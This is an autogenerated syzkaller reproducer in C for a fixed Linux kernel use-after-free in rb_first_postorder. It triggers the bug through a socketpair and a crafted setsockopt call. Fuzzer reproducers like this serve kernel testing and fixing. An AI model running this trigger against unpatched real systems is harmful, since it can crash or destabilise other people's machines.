syzkaller-repros/linux/c3feb704a3bad49f8865285bfeaf0c7c71b1d852.c

// KASAN: use-after-free Read in rb_first_postorder
// https://syzkaller.appspot.com/bug?id=c3feb704a3bad49f8865285bfeaf0c7c71b1d852
// status:fixed
// autogenerated by syzkaller (http://github.com/google/syzkaller)

#define _GNU_SOURCE
#include <endian.h>
#include <stdint.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

long r[1];
void loop()
{
  memset(r, -1, sizeof(r));
  syscall(__NR_mmap, 0x20000000, 0xfff000, 3, 0x32, -1, 0);
  if (syscall(__NR_socketpair, 0x8000000000001e, 5, 0, 0x2000dff8) != -1)
    r[0] = *(uint32_t*)0x2000dffc;
  *(uint32_t*)0x20f38000 = 0xfffffff8;
  *(uint32_t*)0x20f38004 = 0;
  *(uint32_t*)0x20f38008 = 1;
  *(uint32_t*)0x20f3800c = 0;
  syscall(__NR_setsockopt, r[0], 0x10f, 0x87, 0x20f38000, 0x10);
}

int main()
{
  loop();
  return 0;
}